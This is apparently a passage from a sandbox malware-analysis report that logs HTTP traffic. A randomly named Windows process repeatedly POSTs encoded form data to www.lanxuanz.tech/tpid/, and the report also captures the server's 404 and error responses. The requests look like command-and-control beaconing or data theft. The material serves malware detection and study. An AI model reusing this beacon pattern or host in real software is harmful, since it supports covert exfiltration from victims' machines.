Nov 5, 2024 15:23:28.155177116 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:23:28 GMT Server: Apache Content-Length: 13928 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
Nov 5, 2024 15:23:28.155280113 CET	1236	IN	Data Raw: 61 72 6f 75 73 65 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e Data Ascii: arousel.min.css" rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><bod
Nov 5, 2024 15:23:28.155294895 CET	1236	IN	Data Raw: 61 6b 61 61 6e 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 Data Ascii: akaan</h1> </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button
Nov 5, 2024 15:23:28.155759096 CET	1236	IN	Data Raw: 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 23 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 Data Ascii: <a href="#" class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-ite
Nov 5, 2024 15:23:28.155771017 CET	1236	IN	Data Raw: 23 22 3e 48 6f 6d 65 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 72 65 61 64 63 72 75 6d 62 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d Data Ascii: #">Home</a></li> <li class="breadcrumb-item"><a href="#">Pages</a></li> <li class="breadcrumb-item text-body active" aria-current="page">404 Error</li> </ol>
Nov 5, 2024 15:23:28.155790091 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 22 3e 50 72 6f 70 65 72 74 79 20 54 79 70 65 20 31 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 Data Ascii: <option value="1">Property Type 1</option> <option value="2">Property Type 2</option> <option value="3">Property Type 3</option>
Nov 5, 2024 15:23:28.156426907 CET	1236	IN	Data Raw: 2e 31 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: .1s"> <div class="container text-center"> <div class="row justify-content-center"> <div class="col-lg-6"> <i class="bi bi-exclamation-triangle display-1 text-primary">
Nov 5, 2024 15:23:28.156440020 CET	1236	IN	Data Raw: 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 70 68 6f 6e 65 2d 61 6c 74 20 6d 65 2d 33 22 3e 3c 2f 69 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: <p class="mb-2"><i class="fa fa-phone-alt me-3"></i>+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2">
Nov 5, 2024 15:23:28.156456947 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 6c 69 6e 6b 20 74 65 78 74 2d 77 68 69 74 65 2d 35 30 22 20 68 72 65 66 3d 22 22 3e 54 65 72 6d 73 20 26 20 43 6f 6e 64 69 74 69 6f 6e 3c 2f 61 3e 0d 0a 20 20 20 Data Ascii: <a class="btn btn-link text-white-50" href="">Terms & Condition</a> </div> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Photo Gallery</h5>
Nov 5, 2024 15:23:28.157272100 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: </div> <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-6.jpg" alt=""> </div> <
Nov 5, 2024 15:23:28.162250996 CET	1236	IN	Data Raw: 3c 2f 61 3e 2c 20 41 6c 6c 20 52 69 67 68 74 20 52 65 73 65 72 76 65 64 2e 20 0d 0a 09 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 09 3c 21 2d 2d 2f 2a 2a 2a 20 54 68 69 73 20 74 65 6d 70 6c 61 74 65 20 69 73 20 66 72 65 65 20 61 73 20 6c 6f 6e 67 Data Ascii: </a>, All Right Reserved. .../*** This template is free as long as you keep the footer authors credit link/attribution link/backlink. If you'd like to use the template without the footer authors credit link/attribution

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	55644	136.143.186.12	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:33.592297077 CET	799	OUT	POST /tpid/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.lanxuanz.tech Origin: http://www.lanxuanz.tech Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.lanxuanz.tech/tpid/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 54 6c 49 4e 6b 46 54 64 6c 6e 67 51 53 74 4e 2b 78 6a 56 55 39 37 58 35 4c 47 48 2f 4d 43 6a 65 74 44 70 35 32 75 74 46 31 51 2b 38 37 4f 6b 58 73 71 59 78 56 71 7a 53 6c 49 6e 77 75 48 6b 70 44 48 77 41 62 71 42 4f 35 4d 56 51 52 7a 45 64 68 57 6c 4a 49 73 62 4b 68 7a 33 59 69 69 54 57 5a 2b 43 51 2b 38 51 73 37 41 35 47 50 66 4e 74 4a 31 48 41 54 78 49 54 67 56 6f 72 4c 76 36 75 7a 54 5a 43 64 5a 39 43 66 63 62 35 72 6e 4e 7a 64 76 65 36 67 72 50 53 79 65 48 58 73 45 56 74 4d 48 34 6d 4e 73 6c 78 41 52 56 51 43 49 37 7a 6b 31 59 67 70 6d 45 32 48 7a 52 5a 73 76 77 62 57 41 3d 3d Data Ascii: zhl=TlINkFTdlngQStN+xjVU97X5LGH/MCjetDp52utF1Q+87OkXsqYxVqzSlInwuHkpDHwAbqBO5MVQRzEdhWlJIsbKhz3YiiTWZ+CQ+8Qs7A5GPfNtJ1HATxITgVorLv6uzTZCdZ9Cfcb5rnNzdve6grPSyeHXsEVtMH4mNslxARVQCI7zk1YgpmE2HzRZsvwbWA==
Nov 5, 2024 15:23:34.284486055 CET	1236	IN	HTTP/1.1 404 Server: ZGS Date: Tue, 05 Nov 2024 14:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: zalb_8ae64e9492=cd858cf068bec389eea549b00143a3a9; Path=/ Set-Cookie: csrfc=2c4ef1fb-bf6a-4674-b20c-13e13d83c5d4;path=/;priority=high Set-Cookie: _zcsr_tmp=2c4ef1fb-bf6a-4674-b20c-13e13d83c5d4;path=/;SameSite=Strict;priority=high Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT vary: accept-encoding Content-Encoding: gzip Data Raw: 35 37 35 0d 0a 1f 8b 08 00 00 00 00 00 00 00 cc 58 5b 6f db 36 14 7e df af 60 15 b4 68 b1 28 92 25 2b 76 15 d9 c5 96 0c c5 9e 3a a0 03 86 0d 7b a1 25 ca 22 42 91 02 49 c7 4e 82 fd f7 1d 52 b2 ad 6b 93 f5 69 76 03 8b e2 b9 f1 7c df 39 24 9b bc b9 fb 72 fb fb 9f bf fd 82 0a 5d b2 f5 0f 49 fd 83 10 4a 0a 82 33 fb 64 06 25 d1 18 71 5c 92 95 23 c5 46 68 e5 a0 54 70 4d b8 5e 39 5c 50 9e 91 c3 25 e2 22 17 8c 89 bd 79 c2 32 2d e8 03 31 8f 8a d3 aa 22 da 41 de c9 9c a6 9a 91 f5 5f a2 10 89 57 3f 1f 67 18 e5 f7 48 3f 56 e0 48 93 83 f6 52 05 ae 24 61 2b 47 e9 47 46 54 41 8c a5 42 92 7c e5 78 7b b2 c9 21 0a f5 29 c7 25 65 8f ab 2f 15 e1 3f 7e c5 5c c5 73 df bf bc f6 7d e7 64 d7 6a 1f 47 f0 d9 88 ec f1 f9 3c 84 8f b1 e4 d6 86 62 c7 58 42 c6 92 73 89 14 fc b8 8a 48 9a df 0c 15 14 7d 22 f1 6c 56 1d ba 73 25 96 5b ca 63 1f de a3 ce 44 85 b3 8c f2 ed c8 cc 06 a7 f7 5b 29 76 3c 73 53 c1 84 8c 2f f2 c8 7c 5b 86 ff 39 3f 5e 69 51 dd 1a 31 f5 3c 61 25 46 6e 29 9e 5c 48 28 c1 d2 dd 4a 9c 51 80 eb 3d 23 b9 be 44 17 b9 3f [TRUNCATED] Data Ascii: 575X[o6~`h(%+v:{%"BINRkiv\|9$r]IJ3d%q\#FhTpM^9\P%"y2-1"A_W?gH?VHR$a+GGFTAB\|x{!)%e/?~\s}djG<bXBsH}"lVs%[cD[)v<sS/\|[9?^iQ1<a%Fn)\H(JQ=#D?_Euu,Xyo?LSt7Ba6%?DvL1)R{7V</fKOsN{vPc}0@J0\|-NeNt$E+Ca^uK0gE,0][`Zn~.^D %cT,#\|K1{Q;,1oz&j5#ZIdZA@OXU0_Qcq&?!S
Nov 5, 2024 15:23:34.284665108 CET	729	IN	Data Raw: c4 9a 5a 58 38 05 97 29 f2 ef 81 e3 55 a0 be 94 ef ab 5a 00 f6 d9 e7 e9 9c c0 6c 7b 93 6b ab 67 c2 34 cd ba d3 f4 2c 34 dd c7 f4 f0 bb 68 4a df 6a 53 9e 8b 89 32 b1 09 9f 4f 97 da 49 1f 31 8a fa 36 da b0 5f 7f 03 32 c3 56 c0 ad 37 cd a8 02 6d 73 Data Ascii: ZX8)UZl{kg4,4hJjS2OI16_2V7msr$0Njq{}7Mpa [^Xw7)fGL6n0WE5<5-VI0F#)514csjq\GQ=uwOS{<,GrK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	55659	136.143.186.12	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:36.140371084 CET	819	OUT	POST /tpid/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.lanxuanz.tech Origin: http://www.lanxuanz.tech Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.lanxuanz.tech/tpid/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 54 6c 49 4e 6b 46 54 64 6c 6e 67 51 53 4e 64 2b 32 41 4e 55 37 62 58 36 56 57 48 2f 46 69 69 5a 74 43 56 35 32 73 42 56 30 6a 61 38 37 71 73 58 72 72 59 78 63 36 7a 53 76 6f 6d 37 77 33 6b 67 44 41 35 2f 62 75 42 4f 35 4d 42 51 52 79 30 64 68 42 35 4b 4f 38 62 49 36 6a 33 57 73 43 54 57 5a 2b 43 51 2b 34 78 35 37 45 56 47 50 73 46 74 59 6b 48 48 51 78 49 51 77 46 6f 72 63 66 36 69 7a 54 5a 61 64 59 67 66 66 66 6a 35 72 69 78 7a 64 2b 65 37 75 72 4f 34 2f 2b 47 58 67 55 45 41 4b 45 63 75 46 65 30 56 4f 7a 56 55 4f 75 71 70 31 45 35 33 37 6d 67 46 61 30 59 74 68 73 4e 53 4e 47 54 48 56 54 46 37 69 41 62 37 51 33 55 77 58 41 43 79 2f 59 30 3d Data Ascii: zhl=TlINkFTdlngQSNd+2ANU7bX6VWH/FiiZtCV52sBV0ja87qsXrrYxc6zSvom7w3kgDA5/buBO5MBQRy0dhB5KO8bI6j3WsCTWZ+CQ+4x57EVGPsFtYkHHQxIQwForcf6izTZadYgfffj5rixzd+e7urO4/+GXgUEAKEcuFe0VOzVUOuqp1E537mgFa0YthsNSNGTHVTF7iAb7Q3UwXACy/Y0=
Nov 5, 2024 15:23:36.827424049 CET	1236	IN	HTTP/1.1 404 Server: ZGS Date: Tue, 05 Nov 2024 14:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: zalb_8ae64e9492=cd858cf068bec389eea549b00143a3a9; Path=/ Set-Cookie: csrfc=9780d1fe-a7d0-463a-9859-349853744ce5;path=/;priority=high Set-Cookie: _zcsr_tmp=9780d1fe-a7d0-463a-9859-349853744ce5;path=/;SameSite=Strict;priority=high Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT vary: accept-encoding Content-Encoding: gzip Data Raw: 35 37 35 0d 0a 1f 8b 08 00 00 00 00 00 00 00 cc 58 5b 6f db 36 14 7e df af 60 15 b4 68 b1 28 92 25 2b 76 15 d9 c5 96 0c c5 9e 3a a0 03 86 0d 7b a1 25 ca 22 42 91 02 49 c7 4e 82 fd f7 1d 52 b2 ad 6b 93 f5 69 76 03 8b e2 b9 f1 7c df 39 24 9b bc b9 fb 72 fb fb 9f bf fd 82 0a 5d b2 f5 0f 49 fd 83 10 4a 0a 82 33 fb 64 06 25 d1 18 71 5c 92 95 23 c5 46 68 e5 a0 54 70 4d b8 5e 39 5c 50 9e 91 c3 25 e2 22 17 8c 89 bd 79 c2 32 2d e8 03 31 8f 8a d3 aa 22 da 41 de c9 9c a6 9a 91 f5 5f a2 10 89 57 3f 1f 67 18 e5 f7 48 3f 56 e0 48 93 83 f6 52 05 ae 24 61 2b 47 e9 47 46 54 41 8c a5 42 92 7c e5 78 7b b2 c9 21 0a f5 29 c7 25 65 8f ab 2f 15 e1 3f 7e c5 5c c5 73 df bf bc f6 7d e7 64 d7 6a 1f 47 f0 d9 88 ec f1 f9 3c 84 8f b1 e4 d6 86 62 c7 58 42 c6 92 73 89 14 fc b8 8a 48 9a df 0c 15 14 7d 22 f1 6c 56 1d ba 73 25 96 5b ca 63 1f de a3 ce 44 85 b3 8c f2 ed c8 cc 06 a7 f7 5b 29 76 3c 73 53 c1 84 8c 2f f2 c8 7c 5b 86 ff 39 3f 5e 69 51 dd 1a 31 f5 3c 61 25 46 6e 29 9e 5c 48 28 c1 d2 dd 4a 9c 51 80 eb 3d 23 b9 be 44 17 b9 3f [TRUNCATED] Data Ascii: 575X[o6~`h(%+v:{%"BINRkiv\|9$r]IJ3d%q\#FhTpM^9\P%"y2-1"A_W?gH?VHR$a+GGFTAB\|x{!)%e/?~\s}djG<bXBsH}"lVs%[cD[)v<sS/\|[9?^iQ1<a%Fn)\H(JQ=#D?_Euu,Xyo?LSt7Ba6%?DvL1)R{7V</fKOsN{vPc}0@J0\|-NeNt$E+Ca^uK0gE,0][`Zn~.^D %cT,#\|K1{Q;,1oz&j5#ZIdZA@OXU0_Qcq&?!S
Nov 5, 2024 15:23:36.827519894 CET	729	IN	Data Raw: c4 9a 5a 58 38 05 97 29 f2 ef 81 e3 55 a0 be 94 ef ab 5a 00 f6 d9 e7 e9 9c c0 6c 7b 93 6b ab 67 c2 34 cd ba d3 f4 2c 34 dd c7 f4 f0 bb 68 4a df 6a 53 9e 8b 89 32 b1 09 9f 4f 97 da 49 1f 31 8a fa 36 da b0 5f 7f 03 32 c3 56 c0 ad 37 cd a8 02 6d 73 Data Ascii: ZX8)UZl{kg4,4hJjS2OI16_2V7msr$0Njq{}7Mpa [^Xw7)fGL6n0WE5<5-VI0F#)514csjq\GQ=uwOS{<,GrK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	55674	136.143.186.12	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:38.686458111 CET	10901	OUT	POST /tpid/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.lanxuanz.tech Origin: http://www.lanxuanz.tech Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.lanxuanz.tech/tpid/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 54 6c 49 4e 6b 46 54 64 6c 6e 67 51 53 4e 64 2b 32 41 4e 55 37 62 58 36 56 57 48 2f 46 69 69 5a 74 43 56 35 32 73 42 56 30 6a 53 38 37 64 73 58 72 4d 45 78 47 36 7a 53 6a 49 6e 38 77 33 6c 67 44 42 64 7a 62 75 46 42 35 50 35 51 52 51 38 64 77 6c 4e 4b 41 38 62 49 7a 44 33 62 69 69 53 4d 5a 34 69 63 2b 38 56 35 37 45 56 47 50 71 68 74 59 31 48 48 57 78 49 54 67 56 6f 76 4c 76 37 31 7a 58 4e 6b 64 59 6b 50 66 75 44 35 71 43 42 7a 4f 63 6d 37 6d 72 50 65 38 2b 47 35 67 55 49 44 4b 45 42 56 46 66 78 77 4f 78 4a 55 59 49 44 66 69 41 74 63 67 58 77 2b 47 44 34 7a 69 65 64 49 55 6e 6e 74 63 78 39 66 67 30 58 59 4e 6c 35 6a 46 6c 57 71 69 63 78 31 76 53 66 74 48 54 38 53 5a 62 76 70 41 74 44 67 4e 62 6b 56 46 4d 44 77 68 43 37 4c 75 56 33 55 47 79 2f 4e 36 2f 71 42 77 6b 59 31 30 4b 59 6e 45 34 69 76 2b 49 62 6e 4e 30 46 70 53 75 75 50 77 31 30 74 6b 6b 46 4d 53 6a 2f 48 6f 4a 6b 6a 67 63 61 63 75 6c 39 52 6f 2f 33 77 46 71 34 47 30 49 4e 2b 6f 32 58 62 6e 44 42 6d 43 47 4f 69 51 4a 61 4a 53 77 [TRUNCATED] Data Ascii: zhl=TlINkFTdlngQSNd+2ANU7bX6VWH/FiiZtCV52sBV0jS87dsXrMExG6zSjIn8w3lgDBdzbuFB5P5QRQ8dwlNKA8bIzD3biiSMZ4ic+8V57EVGPqhtY1HHWxITgVovLv71zXNkdYkPfuD5qCBzOcm7mrPe8+G5gUIDKEBVFfxwOxJUYIDfiAtcgXw+GD4ziedIUnntcx9fg0XYNl5jFlWqicx1vSftHT8SZbvpAtDgNbkVFMDwhC7LuV3UGy/N6/qBwkY10KYnE4iv+IbnN0FpSuuPw10tkkFMSj/HoJkjgcacul9Ro/3wFq4G0IN+o2XbnDBmCGOiQJaJSw9MAVBwR7fXSIf/+797udDTKpQ2cQj1X9EflQIeXyhAGM38FhelxC5BhlK2RjHbeDDRm2HOCpepgpqYhQ93PEl1nEZX9MZdVGSTwHaHplVitT5MKEi8sZyVhhX1ZU75s1l06Pl4pQudCLsCNMwoX93QajvlB2NFJTnqNsL1n0oJHjRpWhdEM+YgaYQJkZrjcAYJQIJ7B60zwlqfETRIMgkU0O4boXyZqpJBCRzZ5uujtuBNB64Oh07hRtZ0/VSHGPw/aQWouH4kPuFPKX0SGAnmff8RhryrwlrvjQVTSrXHvAJetj63ZfJX/d1i4VIsskYBo/UR+VWHErS1u3c2BKat3BNyIjlnoxrIi6gFg369/tY8XlHqgrUbOiGdvIXFCUtET76M9n7ZBMMCiaynC+pRksqy9nYT0Fjpj720sxGZOMriPswKnXjaEwMAQ4Tx2iLJ8RfBxqhS62yuFtitGL1nA9DoYkGGLGIhZg7da7XUrz71b3fYHruT/arH1gMOtu67TE/Fs/Zk5hVREoxDHuMj84s6ZHilmXmEw+Y1tWxUvoERN8IVzBk8rREzObrgI976z4Z0SyHzOHzM1TXoEzwBn9KhAaLx3KCRJuvjgBZ4slM/52qONrQCiu8baNKp8XeYtVINyrJ+a9hK6GwOxDBZvFrOgczILzUZ [TRUNCATED]
Nov 5, 2024 15:23:39.363715887 CET	549	IN	HTTP/1.1 400 Server: ZGS Date: Tue, 05 Nov 2024 14:23:39 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 80 Connection: close Set-Cookie: zalb_8ae64e9492=4f8d155d92baa51fc002217e6d409cd9; Path=/ Set-Cookie: csrfc=07eae607-9156-47e8-9858-eaa4689a5da1;path=/;priority=high Set-Cookie: _zcsr_tmp=07eae607-9156-47e8-9858-eaa4689a5da1;path=/;SameSite=Strict;priority=high Set-Cookie: JSESSIONID=18168AA369B9EDA86F788F446CB4FB65; Path=/; HttpOnly Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 22 34 30 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 22 31 22 2c 22 64 65 76 65 6c 6f 70 65 72 5f 6d 65 73 73 61 67 65 22 3a 22 49 6e 76 61 6c 69 64 20 69 6e 70 75 74 2e 22 7d 0a 0a Data Ascii: {"response_code":"400","status_code":"1","developer_message":"Invalid input."}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	55686	136.143.186.12	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:41.230813980 CET	538	OUT	GET /tpid/?zhl=engtnyTNtTQDWNNE7yJ78I7feV66GlGe8mJE780+4T661tYAjJ0+Tu/RlOqq0mFfSRMDbaNY7odrQC55001RANar5S3nmyGvU4LO7et061dPBL96f2mSZAk=&X8Rx1=znhhIbB8nN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.lanxuanz.tech Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:23:41.940274954 CET	1236	IN	HTTP/1.1 404 Server: ZGS Date: Tue, 05 Nov 2024 14:23:41 GMT Content-Type: text/html Content-Length: 4641 Connection: close Set-Cookie: zalb_8ae64e9492=aa11b5b9d2a4fd36a1a24567047ff52b; Path=/ Set-Cookie: csrfc=864dc8b1-6db8-4994-a727-64d630b9063c;path=/;priority=high Set-Cookie: _zcsr_tmp=864dc8b1-6db8-4994-a727-64d630b9063c;path=/;SameSite=Strict;priority=high Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT vary: accept-encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0a 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 5a 6f 68 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 65 62 66 6f 6e 74 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 36 30 30 22 3e 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 0a 20 20 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta name="robots" content="noindex, nofollow, noarchive, nosnippet" /> <title>Zoho</title> <link type="text/css" rel="stylesheet" href="/webfonts?family=Open+Sans:400,600"> <style> body{ font-family:"Open Sans", sans-serif; font-size:11px; margin:0px; padding:0px; background-color:#f5f5f5; } .topColors{ background: -moz-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5 75%, #fdc000 